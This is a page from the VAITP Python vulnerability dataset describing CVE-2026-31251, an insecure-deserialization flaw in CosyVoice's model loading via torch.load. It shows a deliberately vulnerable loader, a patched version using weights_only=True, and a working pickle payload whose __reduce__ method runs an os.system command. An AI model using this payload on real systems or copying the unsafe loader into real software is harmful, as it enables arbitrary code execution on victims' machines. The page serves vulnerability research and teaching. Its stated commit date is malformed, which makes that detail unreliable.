VAITP Dataset

← Back to the dataset

CVE-2026-31251

CosyVoice allows RCE via insecure deserialization of malicious torch models.

  • CVSS 7.3
  • CWE-20
  • Input Validation and Sanitization
  • Local

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its gRPC server component. When the server starts, it loads the speech synthesis model from a user-specified directory using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious model files within a directory. When a victim starts the gRPC server pointing to this directory, arbitrary code is executed on the victim's system during server initialization.

CVSS base score
7.3
Published
2026-05-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
torch

Solution

Use `torch.load(…, weights_only=True)` when loading models to prevent arbitrary code execution. As this vulnerability is hypothetical, no patch is available.

Vulnerable code sample

import torch
import os
import argparse

def load_synthesis_model(model_dir):
    """
    Simulates loading a model during server startup.
    """
    # In the original code, a model file is loaded from a user-specified directory.
    model_path = os.path.join(model_dir, 'model.pth')
    
    print(f"[*] Attempting to load model from: {model_path}")

    # The vulnerable function call.
    # It uses torch.load() on a file from a user-controlled path
    # without specifying `weights_only=True`. This defaults to using
    # Python's pickle module, allowing for arbitrary code execution if
    # the .pth file is maliciously crafted.
    model = torch.load(model_path)

    print("[+] Model loaded successfully.")
    return model

def main():
    """
    Simulates the main entry point of the gRPC server application.
    """
    parser = argparse.ArgumentParser(
        description="Vulnerable server startup example."
    )
    parser.add_argument(
        "--model_dir",
        required=True,
        help="Path to the directory containing model files."
    )
    args = parser.parse_args()

    print("[*] Initializing server...")
    try:
        # The vulnerable model loading is called during the server's initialization phase.
        load_synthesis_model(args.model_dir)
        print("[+] Server started.")
    except Exception as e:
        print(f"[!] Server initialization failed: {e}")

if __name__ == "__main__":
    main()

Patched code sample

import torch
import os

def load_model_safely(model_dir: str):
    """
    Securely loads a PyTorch model by restricting deserialization to
    tensors only, preventing arbitrary code execution.
    """
    model_path = os.path.join(model_dir, "model.pth")

    if not os.path.exists(model_path):
        raise FileNotFoundError(f"Model file not found: {model_path}")

    # The fix is to use `weights_only=True`. This parameter ensures that
    # torch.load only deserializes tensors (the model's weights and biases)
    # and raises an error if the file contains any other Python objects,
    # thus preventing the execution of arbitrary code via a malicious pickle.
    state_dict = torch.load(model_path, weights_only=True)

    return state_dict

Payload

import torch
import os

class ArbitraryCodeExecution:
    def __reduce__(self):
        # This command will be executed on the victim's system.
        # Example: Create a file named 'pwned' in the /tmp directory.
        command = "touch /tmp/pwned"
        return (os.system, (command,))

# Create an instance of the malicious class
malicious_object = ArbitraryCodeExecution()

# Save the malicious object to a file.
# The vulnerable application will load this file using torch.load().
# The file should be placed in the directory the server is configured to load models from.
torch.save(malicious_object, 'pytorch_model.bin')

Cite this entry

@misc{vaitp:cve202631251,
  title        = {{CosyVoice allows RCE via insecure deserialization of malicious torch models.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31251},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31251/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::